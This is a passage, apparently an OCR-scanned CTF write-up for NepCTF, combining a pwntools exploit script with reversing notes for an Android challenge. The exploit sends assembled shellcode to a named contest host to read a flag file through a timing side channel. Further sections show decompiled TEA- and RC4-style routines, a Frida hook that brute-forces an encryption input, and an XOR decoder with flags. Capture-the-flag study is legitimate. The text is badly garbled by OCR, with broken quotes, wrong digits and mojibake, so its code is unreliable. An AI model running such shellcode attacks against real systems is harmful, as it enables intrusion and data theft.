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from pwn import *
import time

context(arch="amd64', os='linux', log level = 'debug')



file name = './pwn’

1li = lambda x : print('\x1b[01;38;5;214m"' + str(x) + '\x1b[om")
11 = lambda x : print('\x1b[01;38;5;1m"' + str(x) + '\xlb[em')
def dbg():

gdb.attach(r)

charset = 'abcdef0123456789-}"'
flag = "NepCTF{'

for i in range (len(flag),50):
for j in charset:
global r
#r = process('./pwn')
r=remote( 'neptune-51726.nepctf.lemonprefect.cn',443, ssl=True, sni=
True, typ="tcp")
payload = asm(shellcraft.open("flag"))
payload += asm(shellcraft.read(3, 'rsp', 0x80))
shellcode = f'"'
mov al, byte ptr[rsi+{i}]
cmp al, {ord(j)}
je $-2
ret

payload += asm(shellcode)

try:
r.sendlineafter('right', payload)
start_time = time.time()
r.clean(2)
r.clean(2)
start_time = time.time() - start_time
li('time = ' + str(start_time) + '\n' + 'char = ' + str(j))
except:
pass
else:
if start_time > 4:
flag += j
break
r.close()
li('flag = ' + flag)

if flag[-1]=="1}":
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break
li(flag)

r.interactive()

OezAndroid

flag{enenneenneneen,neneenenen!neent}
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his.keyCipher = new int[]{602450884, 98211040, ©x7A2D2FOD, ©x77FC29FF};
public int[] localDo() {

int[] tmp = (int[])this.keyCipher.clone();

for(int 1 =0; 1 < 4; 1 +=2) {
int[] arr_vl = this.localEncrypt(tmp[1l], tmp[l + 1]);
tmp[l] = arr_v1[O];
tmp[l + 1] = arr_v1[1];

return tmp;}
public int[] localEncrypt(int v@, int v1) {
long total = oL;
long veo = (long)ve;
long v11l = (long)vi;
for(int i = 0; i < Ox20; ++i) {
total = total + 287454020L & OXFFFFFFFFL;
voo = voo + ((v11l << 4 & OxFFFFFFFFL) + 49L & OxFFFFFFFFL ~ v11
+ total & OxFFFFFFFFL ~ (v11 >> 5) + 50L & OxFFFFFFFFL) & OXFFFFFFFFL;
vlil = v11 + ((v@@ >> 5) + 52L & OxFFFFFFFFL ~ ((v@@ << 4 & OxFF



FFFFFFL) + 51L & OXFFFFFFFFL ~ v@@ + total & OXFFFFFFFFL)) & OXFFFFFFFFL;
}

return new int[]{((int)ve0), ((int)vil)};

byte[] arr_b = this.encrypt(this.clickCount, key);
.o B clickCountiidfridal U, key& E3C%48 15Flarr_b
encryptiZg
void _ fastcall rc4_crypt(__int64 al, __int64 a2, __int64 a3)
{

signed int v3; // eax

__inte4 v4; // r9

__inte4 v5; // r8

int v6; // ecx

unsigned _ int8 v7; // ril@

int v8; // ebx

int v9; // ré&d

if (a3 )
{
v3 = 0;
v4d = OLL;
LODWORD(V5) = ©;
do
{
ve = v3 + 256;
if (v3 +1>0)
ve = v3 + 1;

v3 = v3 - (v6 & OXFFFFFFOO) + 1;
v7 = *(_BYTE *)(al + v3);

v8 = v5 + v7 + 255;

v9 = v7 + (_DWORD)VS5;

if (v9 >=0)
v8 = Vv9;
v5 = v9 - (v8 & OxFFFFFF00);
*(_BYTE *)(al + v3) *(_BYTE *)(al + v5);
*(_BYTE *)(al + v5) = v7;



*(_BYTE *)(a2 + v4++) "~= *(_BYTE *)(al + (unsigned __int8)(v7 + *(_BY
TE *)(al + v3)));

}
while ( a3 != v4 );

arr_biiE FH—A3CfE?
if(arr_b[2] == 37 && arr_b[3] == 80 && arr_b[4] == 68 && arr_b[5] == 70 &&
arr_b[6] == 45 && arr_b[7] == 49 && arr_b[8] == 46 && arr_b[9] == 52) {
this.statusCheck = 1;
try {
FileOutputStream fos = new FileOutputStream(this.tempFi
le);
fos.write(arr_b);
fos.close();
return;

FRIDARIA 2ZlpdffE B iEE (BRI LAER.soEBANBIE LM rcd)

function hook_java() {

Java.perform(function () {
Java.choose("com.example.clickmemore.MainActivity", {
onMatch:function(instance) {

for(var i=0; i<28888;i++){
console.log(i);
var array= instance.encrypt(i, 'bangboo!Knows!!!");
if(array[2] == 37 && array[3] == 80 && array[4] == 68 && array

[5] == 70 & array[6] == 45 && array[7] == 49 && array[8] == 46 && array[9]
== 52) {
console.log('yup!!!');
console.log(i,array);
break;
31},
onComplete: function() {console.log("Search done");}
}s
)



function main() {
hook_java();

}

setImmediate(main);
RIafRE

cipher = [
0x69, Ox7c, Ox70, Ox75, Ox68, Ox71, Ox7b, 0x73, Ox79, Ox76, Ox7c, Ox7f,
0x75, Ox72, Ox78, Ox70, Ox7a, 0x45, Ox4f, oxe, Ox4d, 0x41l, Oxdb, ox43,
ox42,
0x46, Ox4c, Ox44, Oxde, Ox42, Oxc, Ox40, Ox4a, Ox55, Ox5f, Ox13, oOxde,

]

for i in range(len(cipher)):
print(chr(cipher[i]~(i+0xf)),end="")
flag{enenneenneneen,neneenenenl!neen!}

Super Neuro : Escape from Flame!
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